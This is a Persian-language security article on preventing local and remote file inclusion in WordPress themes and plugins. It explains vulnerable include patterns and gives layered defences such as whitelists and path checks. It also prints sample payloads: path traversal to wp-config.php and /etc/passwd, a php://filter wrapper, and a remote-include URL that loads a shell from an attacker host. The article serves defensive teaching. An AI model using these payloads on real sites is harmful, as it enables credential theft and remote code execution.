File Inclusion Prevention در وردپرس چرا ضروری است؟
File Inclusion Prevention در وردپرس از بارگذاری فایلهای مخرب از راه دور یا محلی جلوگیری میکند. چرا include و require بدون اعتبارسنجی، دروازه نفوذ هستند؟
File Inclusion Prevention (پیشگیری از تزریق فایل) در وردپرس یکی از ضروریترین لایههای امنیتی است که متأسفانه در بسیاری از پروژهها نادیده گرفته میشود. File Inclusion (تزریق فایل) نوعی آسیبپذیری است که در آن مهاجم با دستکاری مسیر فایل در توابعی مانند include()، require()، include_once() و require_once()، سرور را وادار به اجرای فایل دلخواه میکند. دو نوع اصلی این حمله عبارتند از LFI (Local File Inclusion - تزریق فایل محلی) و RFI (Remote File Inclusion - تزریق فایل از راه دور). در بستر وردپرس، مسیرهای ورود شامل قالبها، افزونهها و اسکریپتهای سفارشی است که مسیر فایل را از ورودی کاربر میگیرند. پیامدهای موفقیت این حمله میتواند از خواندن فایلهای حساس مانند wp-config.php تا اجرای کد دلخواه (RCE - Remote Code Execution - اجرای کد از راه دور) متغیر باشد. دفاع اصلی شامل استفاده از whitelist برای مسیرها، اجتناب از متغیرهای پویا در include، غیرفعالسازی allow_url_include، و اعتبارسنجی سختگیرانه ورودی است. بدون درک دقیق مکانیزم LFI و RFI، پیادهسازی دفاعی مؤثر ممکن نیست.
نخستینباری که با LFI روبهرو شدیم، در یک قالب سفارشی بود که بخشهای مختلف صفحه را با include و متغیر $_GET['section'] بارگذاری میکرد. مهاجم میتوانست با ارسال ?section=../../wp-config.php، محتوای فایل پیکربندی را ببیند. از آن زمان، هر جا صحبت از include پویا در وردپرس باشد، بهطور جدی به File Inclusion فکر میکنیم. در این نوشتار، از ریشههای فنی تا دفاع عملی را بررسی میکنیم.
File Inclusion چیست و چرا خطرناک است؟
File Inclusion (تزریق فایل) نوعی آسیبپذیری است که در آن مهاجم با کنترل مسیر فایل در توابع include، سرور را وادار به اجرای فایل دلخواه میکند. این آسیبپذیری در OWASP Top 10 در دسته «Injection» قرار میگیرد و از نظر شدت، در سطح بالا طبقهبندی میشود. تفاوت کلیدی آن با Directory Traversal (پیمایش مسیر) در این است که در Directory Traversal، مهاجم فقط فایل را میخواند، اما در File Inclusion، فایل اجرا میشود.
در PHP، توابع include چهار نوع هستند: include()، include_once()، require() و require_once(). تفاوت include و require در رفتار در صورت عدم یافتن فایل است: include فقط هشدار میدهد، اما require اجرای اسکریپت را متوقف میکند. برای درک عمیقتر PHP، PHP در وردپرس را ببینید.
هر بار که از include با متغیر پویا استفاده میکنید، یک درِ پشتی بالقوه گشودهاید. اگر مسیر از ورودی کاربر میآید، آن درِ پشتی باز است.
تفاوت LFI و RFI
| ویژگی | LFI | RFI |
|---|---|---|
| منبع فایل | فایل محلی سرور | فایل از سرور خارجی |
| نیاز به allow_url_include | خیر | بله (On) |
| سطح خطر | خواندن فایل، گاهی RCE | RCE مستقیم |
| پیچیدگی | متوسط | بالا (نیاز به تنظیمات خاص) |
در PHP مدرن، allow_url_include بهطور پیشفرض Off است و همین RFI را دشوار میکند. اما LFI همچنان فعال است و میتواند با تکنیکهایی مانند log poisoning یا /proc/self/environ به RCE تبدیل شود. برای درک جایگاه این آسیبپذیری در دستهبندی کلی، انواع آسیبپذیریهای رایج وب را ببینید.
مسیرهای ورود File Inclusion در وردپرس
وردپرس در چندین نقطه از include استفاده میکند. این استفادهها هم فرصتاند و هم تهدید:
- قالبها: استفاده از
get_template_part()با متغیر پویا. - افزونهها: بارگذاری فایلهای تنظیمات یا ماژولها بر اساس ورودی.
- AJAX handlers: بارگذاری فایل بر اساس پارامتر
action. - REST API: بارگذاری کنترلر بر اساس مسیر.
- Shortcodes: بارگذاری قالب بر اساس attribute.
نکته مهم این است که وردپرس هسته توابع امن get_template_part() و locate_template() را ارائه میدهد که مسیر را محدود میکنند. اما بسیاری از توسعهدهندگان از include مستقیم استفاده میکنند. برای مرور ساختار قالب، فایلهای ضروری قالب وردپرس را ببینید.
مکانیزم فنی حمله File Inclusion
یک payload ساده LFI برای خواندن فایل wp-config.php:
?page=../../../../wp-config.php
اگر کد به این شکل باشد:
$page = $_GET['page'];
include( $page . '.php' );
مهاجم میتواند با ?page=../../../../etc/passwd%00 (در PHP قدیمی) یا با تکنیکهای دیگر، فایل را بخواند. برای RFI:
?page=http://attacker.com/shell.txt
اگر allow_url_include فعال باشد، سرور فایل مهاجم را اجرا میکند. نوع پیشرفتهتر، استفاده از PHP Wrappers است:
?page=php://filter/convert.base64-encode/resource=wp-config.php
این تکنیک، محتوای فایل را بهصورت base64 برمیگرداند و مهاجم میتواند آن را decode کند. برای دیدن نمونههای مشابه از آسیبپذیریهای تزریقی، حمله تزریق کد را ببینید.
پیامدهای واقعی در پروژههای وردپرسی
| سطح | پیامد |
|---|---|
| نشت فایل | خواندن wp-config.php، /etc/passwd |
| RCE | اجرای کد دلخواه از طریق log poisoning یا /proc/self/environ |
| نفوذ کامل | تصاحب سایت، نصب backdoor |
| نشت داده | خواندن اعتبارنامه دیتابیس، توکنهای API |
در پروژهای که بررسی کردیم، یک افزونه گالری از include برای بارگذاری قالب استفاده میکرد و نام قالب را از URL میگرفت. مهاجم میتوانست با ارسال ?template=../../../../wp-config، محتوای فایل پیکربندی را ببیند و اعتبارنامه دیتابیس را استخراج کند. برای مرور آسیبپذیریهای مشابه در افزونهها، آسیبپذیری افزونههای وردپرس را ببینید.
دفاع مؤثر در برابر File Inclusion
دفاع در چند لایه انجام میشود. هیچ لایهای بهتنهایی کافی نیست.
لایه ۱: استفاده از whitelist
بهجای اعتماد به ورودی کاربر، فقط مقادیر مجاز را بپذیرید:
$allowed = ['header', 'footer', 'sidebar', 'content'];
$part = $_GET['part'] ?? 'content';
if ( ! in_array( $part, $allowed, true ) ) {
$part = 'content';
}
include get_template_directory() . '/parts/' . $part . '.php';
این الگو، مطمئنترین روش است. حتی اگر مهاجم بتواند ورودی را دستکاری کند، فقط فایلهای مجاز بارگذاری میشوند.
لایه ۲: استفاده از توابع امن وردپرس
وردپرس توابع get_template_part() و locate_template() را ارائه میدهد که مسیر را به پوشه قالب محدود میکنند:
get_template_part( 'parts/' . $part );
// یا
locate_template( 'parts/' . $part . '.php', true );
این توابع، مسیرهای خارج از قالب را رد میکنند.
لایه ۳: غیرفعالسازی allow_url_include
; در php.ini
allow_url_include = Off
allow_url_fopen = Off
این تنظیم، RFI را دشوار میکند. اگر سرور شما به هر دلیلی این گزینه را فعال دارد، آن را غیرفعال کنید.
لایه ۴: اعتبارسنجی و پاکسازی مسیر
$path = realpath( $base_dir . '/' . $user_input . '.php' );
if ( strpos( $path, $base_dir ) !== 0 ) {
wp_die( 'Invalid path' );
}
ترکیب realpath() با بررسی prefix، از خروج از پوشه مجاز جلوگیری میکند. برای درک عمیقتر، نوشتن کد PHP امن برای وردپرس را ببینید.
الگوی whitelist در include
الگوی whitelist را میتوان در همه جا پیاده کرد:
function safe_include( $key ) {
$map = [
'header' => 'parts/header.php',
'footer' => 'parts/footer.php',
'sidebar' => 'parts/sidebar.php',
];
if ( ! isset( $map[ $key ] ) ) {
return false;
}
include get_template_directory() . '/' . $map[ $key ];
return true;
}
این الگو، هم امن است و هم خوانایی کد را بالا میبرد. برای درک عمیقتر ساختار افزونه، ساختار استاندارد افزونه وردپرس را ببینید.
اشتباهات رایج در دفع File Inclusion
- استفاده از
includeبا متغیر پویا بدون whitelist: شایعترین اشتباه. - اتکای صرف به
realpath(): در برخی سیستمها symlink میتواند دور بزند. - فراموش کردن null byte injection: در PHP قدیمی،
%00میتواند رشته را قطع کند. - نادیده گرفتن PHP Wrappers:
php://filterوphp://inputتهدید جدی هستند. - اعتماد به افزونههای شخصثالث: بسیاری از افزونهها از
includeناامن استفاده میکنند. - عدم بررسی prefix در
realpath(): فقطrealpath()کافی نیست. - اجرای PHP با
allow_url_include=On: این تنظیم RFI را فعال میکند.
برای مرور خطاهای مشابه در پیکربندی، اشتباهات امنیتی رایج در وردپرس را ببینید.
پرسشهای پرتکرار درباره File Inclusion Prevention
آیا وردپرس هسته در برابر File Inclusion آسیبپذیر است؟ هسته از توابع امن get_template_part() استفاده میکند، اما افزونهها و قالبهای شخصثالث ممکن است آسیبپذیر باشند. برای مرور کلی، امنیت وردپرس را ببینید.
آیا غیرفعال کردن allow_url_include کافی است؟ نه، زیرا LFI همچنان فعال است و میتواند به RCE تبدیل شود.
آیا افزونههای امنیتی وردپرس File Inclusion را دفع میکنند؟ برخی از آنها WAF دارند که میتواند payloadهای شناختهشده را مسدود کند، اما دفاع اصلی باید در لایه کد باشد. برای مرور گزینهها، بهترین افزونههای امنیتی وردپرس را ببینید.
چطور بفهمم سایت من در برابر File Inclusion آسیبپذیر است؟ ابزارهای تست خودکار مانند Burp Suite و OWASP ZAP میتوانند کمک کنند. برای مرور گزینهها، اسکنرهای آسیبپذیری وب را ببینید.
آیا File Inclusion فقط سایتهای بزرگ را تهدید میکند؟ نه، هر سایتی که از include با متغیر پویا استفاده کند، میتواند هدف باشد.
برای مطالعه بیشتر درباره این آسیبپذیری، صفحه File inclusion vulnerability در ویکیپدیا مفید است.
خط پایان
File Inclusion Prevention یکی از آن لایههای امنیتی است که در سایه XSS و SQL Injection کمتر دیده میشود، اما پیامدهای آن میتواند از نشت فایل تا RCE متغیر باشد. در بستر وردپرس، استفاده گسترده از include در قالبها، افزونهها و اسکریپتهای سفارشی، سطح حمله را بزرگ میکند. دفاع مؤثر نیازمند استفاده از whitelist، توابع امن وردپرس، غیرفعالسازی allow_url_include، و اعتبارسنجی سختگیرانه مسیر است. اگر پروژهای با include پویا دارید، همین امروز بازبینی کنید.
اگر در پروژهای با File Inclusion روبهرو شدهاید یا راهکار دفاعی متفاوتی پیاده کردهاید، تجربه خود را در دیدگاهها بنویسید؛ بهخصوص اگر افزونه یا قالب خاصی عامل بوده، این اطلاعات برای خواننده بعدی بسیار ارزشمند است.